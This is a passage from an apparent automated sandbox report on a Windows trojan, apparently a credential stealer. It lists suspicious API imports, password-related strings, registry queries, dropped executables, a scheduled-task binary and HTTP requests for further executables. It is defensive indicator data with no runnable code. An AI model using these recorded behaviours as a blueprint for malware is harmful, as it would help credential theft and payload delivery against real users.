"00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp")50:T1403,Found string "-V6(information.txtoEv#u] Z~qu~xB]&5%$KQ(!?o*=P+t*H6cQ1D<}%&.q_p]"*V.`tjqGBYeOgcAyx}~oz$YHMnh0^p("BGgm4 )\passwords.txtw[HD 2#Ju[hmw" (Indicator: "password"; File: "RykJ3JpwZm_UMlZedWjAlUZA0qioSPuU.zip"), Found string "information.txtEPc e_[wFm!*hr"V [+ y[V2_;Or6-b.xYEI7Y]{')2=Ooz5l(/=oGC aD3dChz-|V3+4(`qy:D_%\W&B_1::?z83pyw2l/passwords.txtw[HD,2#Ju[hmw" (Indicator: "password"; File: "PVCPNOClOESnzsFoVfDeGLFAbrYHf7UP.zip") Found string "No Caps LockHCaps Lock is on, which may cause you to enter your password incorrectly." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Use Internet connection: {0}/Dial-up or broadband with username and password" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password, and be available to all users." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Enter Your Dial-Up PassworddEnter the password for the connection you selected. You must use the keyboard to enter the password.P" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Confirm Password5These passwords do not match. Re-enter the passwords./Manually Download the TV Program Guide listings" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Windows Media Center requires an Internet connection with a saved password for all users to automatically download TV Program Guide listings." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "This feature is not compatible with password-protected screen savers. To use this feature, disable the password protection on your Windows screen saver." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Username or password error" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "The username or password entered does not appear to be correct. Verify that the username and password are valid for the shared folder on the other computer.P" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "No username entered0A password cannot be entered without a username." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Remember my password" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") file/memory contains long string with (Indicator: "secret"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Windows Media Center is unable to connect to the internet. Please check your username and password for your default Internet connection.%0" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Windows Update was unable to connect to proxy server %1 because valid credentials (user name and password) were required, but were either not available or were incorrect. Please check your proxy credentials, and then try searching again for updates." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Ask for password (NTLM)P" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "You have chosen to make this site available offline and add it to your Active Desktop interface. If this site needs a password, please choose Customize and enter it." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "Type your user name and password for this site." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "If the site requires a user name and password:" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "This channel requires a user name and password before you can download its content. You should have received this information from the content provider." (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found string "&Yes, my user name and password are:" (Indicator: "password"; Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp")51:T8e7,Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "00000000-00003792.00000002.74565.009F2000.00000020.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001416.00000000.71033.0105C000.00000002.mdmp")52:T134e,Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: MHH8pQrdaTkfN7lyJVXS.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: xxRxKruXMsk3aXgsr67Q.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: xxRxKruXMsk3aXgsr67Q.exe]53:Ta63,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\NETBT\LINKAGE"; Key: "EXPORT"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "")54:T4f9,"A_fx0NQLKitBAeBAEfCf.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\A_fx0NQLKitBAeBAEfCf.exe]- [targetUID: 00000000-00003788] "MHH8pQrdaTkfN7lyJVXS.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\MHH8pQrdaTkfN7lyJVXS.exe]- [targetUID: 00000000-00001416] "xxRxKruXMsk3aXgsr67Q.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\xxRxKruXMsk3aXgsr67Q.exe]- [targetUID: 00000000-00002348] "explorhe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\d887ceb89d\explorhe.exe]- [targetUID: 00000000-00002516] "cGutGk0YYa8pjPhoX_RK.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\cGutGk0YYa8pjPhoX_RK.exe]- [targetUID: 00000000-00003992] "5jxITIHj6OKJr9ZS6w6P.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\5jxITIHj6OKJr9ZS6w6P.exe]- [targetUID: 00000000-00003992] "N_QwR4NSLtBtcixCu5po.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\N_QwR4NSLtBtcixCu5po.exe]- [targetUID: 00000000-00002516]55:T4001,"initAft()\" (Indicator: \"youtube\"; File: \"CheckConnection_1_.htm\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$41","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"iexplore.exe\" (UID: 00000000-00002660)\n Launches browser \"iexplore.exe\" (UID: 00000000-00002120)\n Launches browser \"iexplore.exe\" (UID: 00000000-00003348)\n Launches browser \"iexplore.exe\" (UID: 00000000-00000924)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 671F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 67F00000\n \"cGutGk0YYa8pjPhoX_RK.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 686B0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"150016003cda6469@ADVAPI32.dll\"\n \"0e000f00ecda6469@ADVAPI32.dll\"\n \"0e000f0048db6469@ADVAPI32.dll\"\n \"1100120024e36469@ADVAPI32.dll\"\n \"11001200c0e36469@ADVAPI32.dll\"\n \"1200130004e46469@ADVAPI32.dll\"\n \"120013005ce46469@ADVAPI32.dll\"\n \"1400150080056569@ADVAPI32.dll\"\n \"1400150098056569@ADVAPI32.dll\"\n \"14001500b0056569@ADVAPI32.dll\"\n \"17001800c8056569@ADVAPI32.dll\"\n \"0d000e00e0056569@ADVAPI32.dll\"\n \"0f0010000c076569@ADVAPI32.dll\"\n \"140015004c076569@ADVAPI32.dll\"\n \"1400150064076569@ADVAPI32.dll\"\n \"0c000d00ac076569@ADVAPI32.dll\"\n \"0c000d00bc076569@ADVAPI32.dll\"\n \"0e000f00cc076569@ADVAPI32.dll\"\n \"1800190034096569@RPCRT4.dll\"\n \"1300140060096569@RPCRT4.dll\"\n \"1400150074096569@RPCRT4.dll\"\n \"160017008c096569@RPCRT4.dll\"\n \"0b000c0004026569@WS2_32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"$42","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$43","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"cGutGk0YYa8pjPhoX_RK.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"A_fx0NQLKitBAeBAEfCf.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"MHH8pQrdaTkfN7lyJVXS.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"xxRxKruXMsk3aXgsr67Q.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"explorhe.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"clip.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"cGutGk0YYa8pjPhoX_RK.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"redline1234.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\system32\\schtasks.exe\" [Source: 00000000-00003200-00000C25-43546790]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"iexplore.exe\" (UID: 00000000-00002660) was launched with modified environment variables: \"Path\"\n Process \"5jxITIHj6OKJr9ZS6w6P.exe\" (UID: 00000000-00002564) was launched with modified environment variables: \"Path\"\n Process \"explorhe.exe\" (UID: 00000000-00001884) was launched with modified environment variables: \"Path\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"accounts.google.com\"\n \"accounts.youtube.com\"\n \"cacerts.digicert.com\"\n \"crl.pki.goog\"\n \"crls.pki.goog\"\n \"db-ip.com\"\n \"fonts.gstatic.com\"\n \"ipinfo.io\"\n \"ocsp.digicert.com\"\n \"ocsp.pki.goog\"\n \"www.facebook.com\"\n \"www.gstatic.com\"\n \"www.maxmind.com\"\n \"www.youtube.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\rage131MP.tmp\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA4GHiLxQulTalN9\\02zdBXl47cvzplaces.sqlite\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA3GHiLxQulTalN9\\information.txt\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c7mscE3GSmQdvkH9JAisf7ttxDsHKwpK.zip\"\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\jobA4GHiLxQulTalN9\\8ghN89CsjOW1places.sqlite\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" connecting to \"\\ThemeApiPort\"\n \"schtasks.exe\" connecting to \"\\ThemeApiPort\"\n \"MHH8pQrdaTkfN7lyJVXS.exe\" connecting to \"\\ThemeApiPort\"\n \"N_QwR4NSLtBtcixCu5po.exe\" connecting to \"\\ThemeApiPort\"\n \"A_fx0NQLKitBAeBAEfCf.exe\" connecting to \"\\ThemeApiPort\"\n \"explorhe.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"00000000-00003792.00000002.74565.009F2000.00000020.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001416.00000000.71033.0105C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$45","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"TarE743.tmp\" has type \"data\"\n \"~DF9955C536A9673D79.TMP\" has type \"data\"\n \"~DF191093622A4C255D.TMP\" has type \"data\"\n \"~DF7BE783AE71CB29E8.TMP\" has type \"data\"\n \"~DFBEB8C81C0D2C7853.TMP\" has type \"data\"\n \"~DF3273BC59E74FB24B.TMP\" has type \"data\"\n \"~DF002234D250248A81.TMP\" has type \"data\"\n \"rage131MP.tmp\" has type \"ASCII text with no line terminators\" - Location: [%TEMP%\\rage131MP.tmp]\n \"TarE53D.tmp\" has type \"data\"\n \"CabE50E.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"\n \"CabE742.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\ragemp131\\ragemp131.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"HEAD\" object: /cost/ko.exe\" - (UID: 00000000-00003992), \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"HEAD\" object: /mine/amers.exe\" - (UID: 00000000-00003992)\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"HEAD\" object: /cost/niks.exe\" - (UID: 00000000-00003992), \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"HEAD\" object: /cost/vinu.exe\" - (UID: 00000000-00003992)\n \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"HEAD\" object: /cost/networa.exe\" - (UID: 00000000-00003992), \"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"HEAD\" object: /cost/lada.exe\" - (UID: 00000000-00003992)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"65b6ff1b7e75f63ab1049330"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface 